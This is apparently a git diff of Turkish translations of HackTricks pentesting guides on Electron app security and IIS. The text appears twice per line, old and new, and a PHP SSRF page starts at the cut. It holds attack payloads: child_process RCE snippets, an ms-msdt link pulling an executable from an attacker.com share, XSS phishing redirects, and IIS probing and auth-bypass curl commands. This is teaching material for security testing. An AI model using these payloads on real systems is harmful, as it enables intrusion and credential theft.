* Ana İşlem (NodeJS'ye tam erişime sahiptir) * Ana İşlem (NodeJS'ye tam erişimi vardır)
* Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır) * Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır)
![](<../../../.gitbook/assets/image (182).png>) ![](<../../../.gitbook/assets/image (182).png>)
@ -61,7 +48,7 @@ win.loadURL(`file://path/to/index.html`);
``` ```
**renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır. **renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.
Electron uygulaması, Node apileri aracılığıyla **cihaza erişebilir**, ancak bunu önlemek için yapılandırılabilir: Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:
* **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir. * **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
* **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez. * **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
@ -118,7 +105,7 @@ Başlatma ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy k
``` ```
## Electron Yerel Kod Enjeksiyonu ## Electron Yerel Kod Enjeksiyonu
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin: Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodunu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) [macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
@ -138,7 +125,7 @@ top.require('child_process').exec('open /System/Applications/Calculator.app');
## RCE: preload ## RCE: preload
Bu ayarda belirtilen script, **diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişime sahiptir**: Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişime sahiptir**:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -177,11 +164,11 @@ runCalc();
_**contextIsolation**_, **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtır, böylece her kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir. _**contextIsolation**_, **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtır, böylece her kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
Eğer bağlamlar izole edilmemişse, bir saldırgan: Eğer bağlamlar izole edilmezse, bir saldırgan:
1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme) 1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonu ile **üstüne yazabilir** 2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonu ile **üstüne yazabilir**
3. **üstüne yazılmış fonksiyonun** kullanılmasını **tetikleyebilir** 3. **Üstüne yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
4. RCE? 4. RCE?
Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda: Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
@ -208,14 +195,14 @@ window.addEventListener('click', (e) => {
Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerini kontrol edin. Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerini kontrol edin.
Bir Electron masaüstü uygulaması dağıtılırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar mevcut olduğunda etkili bir şekilde engellenir. Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellendiği belirlenmiştir.
Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir: Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve kendi **iş mantığını** uygular. Uygulama, yönlendirilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bu, bağlantının harici olarak açılması gerektiğini, `shell.openExternal` fonksiyonunu kullanarak belirtir. Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve kendi **iş mantığını** uygular. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bu, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
**İşte basitleştirilmiş bir pseudocode:** **İşte basitleştirilmiş bir pseudocode:**
@ -223,9 +210,9 @@ Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve k
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>) ![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu açığı istismar edebilecek Windows protokol örneklerini içermektedir. Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu güvenlik ığını istismar edebilecek Windows protokol örneklerini içermektedir.
**Windows protokol istismarına örnekler şunlardır:** **Windows protokol istismarlarına örnekler şunlardır:**
```html ```html
<script> <script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22") window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
@ -259,9 +246,9 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **bilinen** **zafiyetler** varsa, **bunu istismar etmek ve XSS aracılığıyla RCE elde etmek** mümkün olabilir.\ Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **bilinen** **zafiyetler** varsa, **bunu istismar etmek ve XSS aracılığıyla RCE elde etmek** mümkün olabilir.\
Bununla ilgili bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) Bununla ilgili bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing İçin Dahili URL regex atlatma** ## **İç URL regex atlatması ile XSS Phishing**
Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dahili dosyaları ç alamıyorsanız**, bunu **kimlik bilgilerini phishing ile çalmak için** kullanmayı deneyebilirsiniz. Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dosyaları ç alamıyorsanız**, bunu **kimlik bilgilerini phishing ile çalmak için** kullanmayı deneyebilirsiniz.
Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekir: Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekir:
```javascript ```javascript
@ -270,7 +257,7 @@ webContents.on("will-navigate", function (event, url) {} // o
``` ```
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **üçüncü taraf bir kaynak** olarak **tarayıcıda** **açılacağını** belirleyecektir. **`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **üçüncü taraf bir kaynak** olarak **tarayıcıda** **açılacağını** belirleyecektir.
Fonksiyonun kullandığı **regex** **bypass'lere** karşı **zayıf** ise (örneğin **alt alan adlarının noktalarını kaçırmıyorsa**), bir saldırgan XSS'i kötüye kullanarak **kullanıcıdan kimlik bilgileri** talep eden **yeni bir pencere açabilir**: Eğer fonksiyonun kullandığı **regex** **bypass'lere karşı** **zayıfsa** (örneğin **alt alan adlarının noktalarını kaçırmıyorsa**), bir saldırgan XSS'i kötüye kullanarak **saldırganın altyapısında** **kimlik bilgileri** istemek için **yeni bir pencere açabilir**:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
@ -317,21 +304,9 @@ npm start
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) * [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) * [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) * [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* Electron güvenliği hakkında daha fazla araştırma ve yazı için [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) adresini ziyaret edin. * Electron güvenliği hakkında daha fazla araştırma ve yazı için [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) * [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,34 +1,20 @@
# IIS - Internet Information Services # IIS - Internet Information Services
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
Test edilebilir dosya uzantıları: Test edilebilir dosya uzantıları:
* asp * asp
@ -38,7 +24,7 @@ Test edilebilir dosya uzantıları:
## Dahili IP Adresi ifşası ## Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta, Location başlığı sizi dahili IP adresine yönlendirebilir: 302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresine işaret edebilir:
``` ```
nc -v domain.com 80 nc -v domain.com 80
openssl s_client -connect domain.com:443 openssl s_client -connect domain.com:443
@ -79,13 +65,13 @@ Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna
## Yol Traversal ## Yol Traversal
### Kaynak kodunu sızdırma ### Kaynak kodunun sızdırılması
Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %} {% hint style="info" %}
Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\ Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
**İndirilen Dll'lerden** yeni **namespaces** bulmak ve web.config dosyasına erişmek için denemeler yapabilirsiniz.\ **İndirilen Dll'lerden** yeni **namespaces** bulmak ve bunlara erişmeye çalışmak için web.config dosyasını almak da mümkündür.\
Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.\\ Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.\\
{% endhint %} {% endhint %}
@ -213,16 +199,16 @@ C:\xampp\tomcat\conf\server.xml
Eğer aşağıdaki gibi bir hata görüyorsanız: Eğer aşağıdaki gibi bir hata görüyorsanız:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) ![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\ Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts brute force** yapmanız gerekebilir. Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts brute force** yapmanız gerekebilir.
## İncelenmesi gereken Eski IIS zafiyetleri ## Bakılması gereken eski IIS zafiyetleri
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızdırma ### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızdırma
Bu **teknik** ile keşfedilen her klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\ Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir. Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -241,7 +227,7 @@ Yeni **klasörler** bulmak ve kimlik doğrulamayı **atlatmak** için bu **zafiy
## ASP.NET Trace.AXD etkin hata ayıklama ## ASP.NET Trace.AXD etkin hata ayıklama
ASP.NET, `trace.axd` adında bir hata ayıklama modu içerir. ASP.NET, bir hata ayıklama modu içerir ve dosyası `trace.axd` olarak adlandırılır.
Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar. Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.
@ -260,7 +246,7 @@ ASPXAUTH aşağıdaki bilgileri kullanır:
* **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür). * **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).
* **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar. * **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformu** kullanan bir web bulursanız ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\ Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformu** kullanan bir web bulursanız ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanma** şansınız olabilir ve kullanıcıyı taklit edebilirsiniz.\
Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı. Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı.
## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a> ## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
@ -285,28 +271,16 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK HTTP/1.1 200 OK
``` ```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirme ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,8 +1,8 @@
# PHP SSRF # PHP SSRF
{% hint style="success" %} {% hint style="success" %}
